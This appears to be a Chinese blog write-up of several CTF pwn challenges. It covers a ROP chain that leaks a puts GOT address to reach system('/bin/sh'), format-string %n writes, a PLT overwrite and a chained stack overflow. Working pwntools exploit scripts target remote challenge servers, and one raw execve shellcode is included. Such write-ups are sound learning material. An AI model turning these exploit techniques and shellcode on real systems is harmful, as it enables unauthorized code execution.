行业新闻

PWN的一些trick

PWN的一些trick

最近刷了一些pwn题,攻防世界 、蓝帽杯等等,发现提升CTF的最快方法还是刷题,刷题,刷题。此篇文章涉及到的知识点:64位rop解体流程、格式化字符串的基本原理和一些利用方式以及如何改写plt。

0x0:pwn-100

64位程序

v2-28b603b058d7bc1bac21c421d3d737f4_1440w.png

发现前两个函数标准输入输出,然后我们来看一下第三个函数,发现里面又套了一层函数

v2-ee768a3d82eb78ac0069b4cd6eeedfea_1440w.png

v2-599e79954693931df87b704ddcbb328c_1440w.png

栈空间大小为40,我们可以把这个sub_40063D函数当成read函数

这个的意思就是

v2-2e5f94638525c6199b67e2f0c8bdbf79_1440w.png

v2-0bf553d6985d7eac474c10b06e724fa4_1440w.png

v2-91db0528cc520d02300327324c1ff7f7_1440w.png

v2-f1a358c32afdc6573cde3f804c9193fa_1440w.png

修改edi的目的达成,直接call put的指令的意思就是打印

put的plt地址意味着调用put函数,put函数的参数存放再rdi中 rdi此时是got[put]

打印got表put函数的地址

v2-3ea449f24a8bda6f1605d8866d1c77f8_1440w.png


from pwn import *
from LibcSearcher import LibcSearcher
#导入libcsearcher来搜索此执行程序使用的哪个got表
#一种got表对应一种libsearcher
context.log_level  =  'debug'
io = process('./6')
io = remote('111.200.241.244',57644)
elf = ELF('./6')
payload = b'b'*0x48+p64(0x0000000000400763)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x00000000004006B8)
#分析一下这个payload,首先栈溢出,然后加上pop rdi 的地址,在接上got表中的puts,plt是运行puts函数,最后再接上main函数地址
#got表中的puts是一串地址
io.sendline(payload.ljust(200,b'b'))
#题目中写明了for循环必须要200字符串
#print(io.recv())
io.recvuntil('\n')
got_put_addr =  u64(io.recv().split(b'\n')[0].ljust(8,b'\x00'))
print(got_put_addr)
#利用got表中的puts函数算出got表中其他函数的相对偏移
libc_obj = LibcSearcher('puts', got_put_addr)
libc_base_addr = got_put_addr - libc_obj.dump('puts')
system_addr = libc_base_addr + libc_obj.dump("system")
str_bin_sh = libc_base_addr + libc_obj.dump('str_bin_sh')
payloads = b'b'*0x48+p64(0x0000000000400763)+p64(str_bin_sh)+p64(system_addr)
io.sendline(payloads)
io.interactive()
#p64(0x0000000000400763) =rdi

v2-b7fde7d872e43f076c13ce22911b9d9a_1440w.png

p64(0x0000000000400763)+p64(elf.got['puts']) 把got表中的puts传送给rdi

0x1:lanmao分区pwn

首先checksec一下,发现保护全开

v2-f6eafaf5f18e6fa0c71dd45e0fe410c9_1440w.png

然后我们用ida打开

v2-8a8f575809e2fa03ef9c23fafd8eb23a_1440w.png

我们在这里发现了一个格式化字符串漏洞

用one_gadget查看glibc自带的后门函数地址

v2-aaf4ad483cca1ffd5b79ea166fbe7212_1440w.png

这道题的思路:

首先我们利用print函数来算出野指针到s的地址,然后算出s到ret的地址,加和算出一共的%p,我们把ret函数返回到one_gadget泄露got表的后门地址

0x2:格式化字符串进阶

v2-236795621bf76ea447ac75cdc0eac4d4_1440w.png

  • 第一个函数

v2-a01d86fc806c4c9f16de265b7662f098_1440w.png

  • 第二个函数

v2-5bb1526f088106a3e27144ab5c30c72c_1440w.png

print(format)的作用就是格式化字符串,使得v4 = v3

  • 第三个函数

v2-df833e08a76b2aff43415d79e0083ae2_1440w.png

流程:

v2-a9b50b223297e290d44818798bc6ad60_1440w.png

v2-6e60e7e096a534b0aa697837a8792878_1440w.png

v2-df81711710bab6047285e62f6b9e4ccc_1440w.png

%85c%7p$n

v2-4d93c62dc74c696fe02eb9d767f7752f_1440w.png

这里算出来是8,指的是v3的地址,但是我们要在v2中写入东西,所以要减去偏移

输入up,east,1跳过第一个函数,进入第二个函数

下面我们进行exp的编写:

v2-2b20c0ff76cf5aae009e6aaf896f884b_1440w.png

shellcode写在这里

64位的shellcode:

"\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"

from pwn import *
context.log_level = 'debug'
io = remote('111.200.241.244',53443)
io.recvuntil('is')
a=io.recvuntil('\n')[:-1]
b=int(a,16)
print(a)
print(b)
io.sendlineafter('What should your character\'s name be:','1')
io.sendlineafter('So, where you will go?east or up?:','east')
io.sendlineafter('go into there(1), or leave(0)?:','1')
io.sendlineafter('Give me an address',str(b))
#p64()格式是写入内存,机器码识别,但是此题是写入栈中的变量中,直接字符串格式就行(也就是v2)
#aaaa,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p
io.sendline('%85c%7$n')
io.sendline("\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05")
io.interactive()

v2-841fed75ea200fb0671462dba5b06098_1440w.png

0x3:格式化字符串入门 CGfsb  %n

格式化字符串漏洞入门利用%nv2-3f6a2a2ea0afb95aef8f6d5f881efd43_1440w.png

v2-ae410183c65265fb12cbaadd82d34b0b_1440w.png

v2-a3f5df55e7600e708d3fcd2d723e5a53_1440w.png

算出第10个偏移是野指针的地址

v2-1c9d92ce7dfa919fcef4033e61170085_1440w.png

这里进行验证,确实是第十个,

接下来写exp

from pwn import *
context.log_level = 'debug'
io = remote('111.200.241.244',55751)
io.sendline('de')
payload = p32(0x0804A068)+b'aaaa'+b'%10$n'
io.sendline(payload)
io.interactive()
#aaaa.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p


payload = p32(0x0804A068)+b'aaaa'+b'%10$n'
payload格式是这个,前面是要修改的地址,用字符补全,再用%10$n打进去

v2-82db94b7de3976d35f290da1b7810164_1440w.png

0x4:cover蓝帽杯半决赛1 改写plt

首先checksec一下,发现是32位程序,No PIE

v2-9d5f3e102b94064aae0ea3795b3bd188_1440w.png

v2-760c60f0a00f8ff533b954250a5e8d5a_1440w.png

v2-f8c948c181b964ecac86ea62d54937cc_1440w.png

v2-5f27e5461b0d811f47691082dfb47290_1440w.png

from pwn import *
sh=process('cover')
sh.recvuntil('\n')
sh.send(p32(0x80484d0+2)+b'\x24')
#此题的关键就是在这里,0x80484d0是plt中puts函数的地址,+2就是关键所在
#然后直接改成x24就是改成了system,然后在接上一个/bin/sh
sh.sendline('/bin/sh')
sh.interactive()

v2-851351b187e4c1128909dcb67d80a3ef_1440w.png

v2-cf5e5310d5917516d085d1966e458ca5_1440w.png

0x5:栈溢出反应釜开关控制

首先checksec 一下

v2-0fca31989f7562c761168e9ef4620816_1440w.png

v2-42ce6f46cb35383616e4d1d2a300de5d_720w.png

解题思路:

套了三层循环,每进入一层循环需要输入地址,我们只能一边调一边进入

v2-d92f40332e161896391d724fe26cedc9_1440w.png

  • 进入第一个函数的地址
from pwn import *
context.log_level = 'debug'
#io  = process('10')
io = remote('111.200.241.244',56649)
payload1= b'a'*(0x100+0x8)+p64(0x4005f6)
payload2= b'a'*(0x180+0x8)+p64(0x400607)
payload3= b'a'*(0x200+0x8)+p64(0x00000000004006B0)
io.sendlineafter('>',payload3)
io.recv()
  • 进入第二个函数的地址

v2-d60327eb124d26fd4f7a1abc1fca21a0_1440w.png

  • 第三次的地址

v2-a2cf96b357359954d82120c3e098b1cf_1440w.png

最终exp:

from pwn import *
context.log_level = 'debug'
#io  = process('10')
io = remote('111.200.241.244',56649)
payload1= b'a'*(0x100+0x8)+p64(0x4005f6)
payload2= b'a'*(0x180+0x8)+p64(0x400607)
payload3= b'a'*(0x200+0x8)+p64(0x00000000004006B0)
io.sendlineafter('>',payload3)
io.recv()
#io.sendline('a')
io.sendline(payload2)
#io.recv()
io.sendline(payload1)
#io.recv()
io.interactive()

v2-eeebbe852db24b6aef27309a38126bac_1440w.png

0x6:小结

pwn的解题对选手的内存、C语言、汇编语言底层功底要求很高,在学习过程中一定不用求快,需要扎实的学习。这样才能更快的解题。

pwn

关闭